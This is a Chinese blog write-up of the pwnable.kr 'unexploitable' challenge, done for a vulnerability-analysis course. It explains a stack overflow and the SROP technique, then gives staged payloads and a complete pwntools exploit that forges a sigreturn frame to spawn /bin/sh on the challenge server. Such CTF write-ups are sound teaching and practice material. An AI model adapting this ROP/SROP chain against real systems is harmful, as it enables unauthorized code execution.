pwnable.kr unexploitable题解

5 篇文章 0 订阅
2 篇文章 0 订阅

前言

这次的大作业可以算是《漏洞分析》这门课有史以来难度最大的一次了。刚接触这道题的时候基本上没思路,加上心思浮躁,在网上疯狂找wp,看了十几篇依旧没看出个门道。于是决定静下心来,先仔细研读了几篇SROP相关的文章,了解基本原理,再一点一点地动手尝试。当然这个历程也是比较艰辛的,一次又一次把自己绕晕,失败,曾经很多次想过干脆换一道题算了,好在最后没有放弃,做出来了,收获满满。

代码分析

#include <stdio.h>
void main(){
        // no brute forcing
        sleep(3);
        // exploit me
        int buf[4];
        read(0, buf, 1295);
}

这道题的代码可谓是相当简单了,用sleep禁掉了暴力的可能性,main函数里定义了一个缓冲区,然后调用read向其中写入1295个字符,很明显的缓冲区溢出。

难点分析

首先checksec看一下保护情况
在这里插入图片描述
64位程序,没有金丝雀,开启了栈不可执行,所以首先想到的是ret2libc,于是找了下libc信息
在这里插入图片描述
发现并没有可以利用的函数,那么只有往ROP方面去想了。
关键是在于找到内存中可以利用的gadgets,去控制寄存器的值并构造函数调用链,以及调用syscall实现自己的目的。

有关SROP

首先一个进程P从接收到一个signal到恢复进程P执行,正常情况下会经历如下过程:
在这里插入图片描述
进程P收到中断信号后,内核会为其保存上下文到栈上,具体的结构如下图

在这里插入图片描述
保存完毕后,内核就会将控制流交由Signal Handler进行相应的中断处理,中断处理函数结束后,ret指令会将ip指向sigreturn系统调用代码,即为原先的进程恢复上下文。
这里就存在一个问题,保存下来的sigFrame完全存在于用户空间,进程P对它可读可写,如果我们伪造一个假的sigFrame,将其中的rax置为59,rip置为syscall的地址,rdi设置成"/bin/sh"字符串的地址。当sigreturn系统调用完成后,等于帮我们“恢复”出了一个恶意shell的进程,从而造成了控制流劫持。

思路

利用Linux下SROP攻击技术,触发Linux下的signal,在内核态对中断进程的上下文进行恢复时,利用一个我们伪造的Signal Frame,可以让内核为我们恢复一个sigFrame描述的进程,比如说execve(’/bin/sh’),就可以获得shell。
总结一下就是:

  1. 将伪造的sigFrame写到栈上
  2. 将/bin/sh写到栈上
  3. 寻找gadgets,控制寄存器的值,找到syscall的内存地址

解法

流程如下:
找到buf和返回地址的距离,缓冲区溢出,构造一次read的函数调用,目的是为了将伪造的sigFrame读入内存,控制流再交由main重新执行read,再通过缓冲区溢出构造一次read的函数调用,目的是将/bin/sh读入内存,同时将pop rbp;ret;的指令地址,sigFrame的地址,以及leave的指令地址写到栈上,目的是将rsp和rbp劫持到sigFrame的位置,最后执行syscall拿到shell

寻找buf与返回地址的距离
在read语句后下断点,用AAAA试探
在这里插入图片描述
打印当前栈帧信息
在这里插入图片描述找到前rbp存放的位置
查看堆栈信息
在这里插入图片描述
距离前rbp有16个字节,距离返回地址24个字节

找到read函数的地址0x601000
在这里插入图片描述
将程序拖到ida中,看下哪里适合写入我们的sigFrame
在这里插入图片描述
data段和bss段都有可读可写权限,地址为0x601018,0x601028

然后再从内存里找到我们需要的gadgets(这里还不会用工具搜QAQ,就直接用别人找好的了)
syscall
寄存器赋值
寄存器赋值
劫持rbp
劫持rsp
接下来就可以构造第一段payload了

def read_poc(addr,maxlen):
    tmp = p64(gadget_1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(addr)+p64(maxlen)
    tmp += p64(gadget_2)+'a'*0x38
    return tmp
poc = 'a'*24+read_poc(frame_base,0x500)+p64(main_addr)

栈布局变成如下
在这里插入图片描述
main函数返回后,跳转执行read,将如下伪造的sigFrame读入到内存中

frame = SigreturnFrame(kernel='amd64')
frame.rdi = data_base # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall_addr

第二段payload如下

poc = p64(0)+p64(syscall_addr)+str(frame)

read执行完后,又跳转到main从头开始执行,我们如法炮制,继续缓冲区溢出,再次劫持程序到read函数,构造第三段payload

poc = 'a'*24+read_poc(data_base,15)
poc += p64(pop_rbp)+p64(frame_base)+p64(leave_addr)

执行完后栈上的布局如下
在这里插入图片描述
第四段payload,也就是读入/bin/sh

r.send("/bin/sh".ljust(15,'\x00'))

read函数执行完后,rbp和rsp被劫持到sigFrame的位置,ret指令使程序开始执行syscall,此时rax里的值是15,即进行sigreturn系统调用,内核从我们伪造的sigFrame中恢复出了一个shell。
在这里插入图片描述
攻击成功!!!
附完整攻击代码

from pwn import *

context(arch='amd64')
leave_addr = 0x400576 #leave ret
read_got = 0x601000  #read_got_addr
main_addr = 0x400544 #main_start_addr
frame_base = 0x601028 #fake_sig_frame
data_base = 0x601018 #/bin/sh
pop_rbp = 0x400540 #pop rbp ret
gadget_1 = 0x4005e6 #mov rbx,[rsp+8h];mov rbp,[rsp+10h];mov r12,[rsp+18h];mov r13,[rsp+20h];\
                        #mov r14,[rsp+28h];mov r15,[rsp+30h];add rsp,38h;ret;......;ret
gadget_2 = 0x4005d0 #mov rdx,r15;mov rsi,r14;mov edi,r13d;call qword ptr [r12+rbx*8]
syscall_addr = 0x400560 #syscall
#r = process("./unexploitable")
s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
r = s.run('./unexploitable')

def read_poc(addr,maxlen):
    tmp = p64(gadget_1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(addr)+p64(maxlen)
    tmp += p64(gadget_2)+'a'*0x38
    return tmp

# write sigreturn frame
frame = SigreturnFrame(kernel='amd64')
frame.rdi = data_base # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall_addr
poc = 'a'*24+read_poc(frame_base,0x500)+p64(main_addr)
r.send(poc.ljust(1295,'\x00'))
sleep(0.1)
poc = p64(0)+p64(syscall_addr)+str(frame)
r.send(poc.ljust(0x500,'\x00'))

poc = 'a'*24+read_poc(data_base,15)  # rax = 15 && write "/bin/sh" to data_base
poc += p64(pop_rbp)+p64(frame_base)+p64(leave_addr) # rsp => bss_base
r.send(poc.ljust(1295,'\x00'))
sleep(0.1)
r.send("/bin/sh".ljust(15,'\x00'))
sleep(0.1)
r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值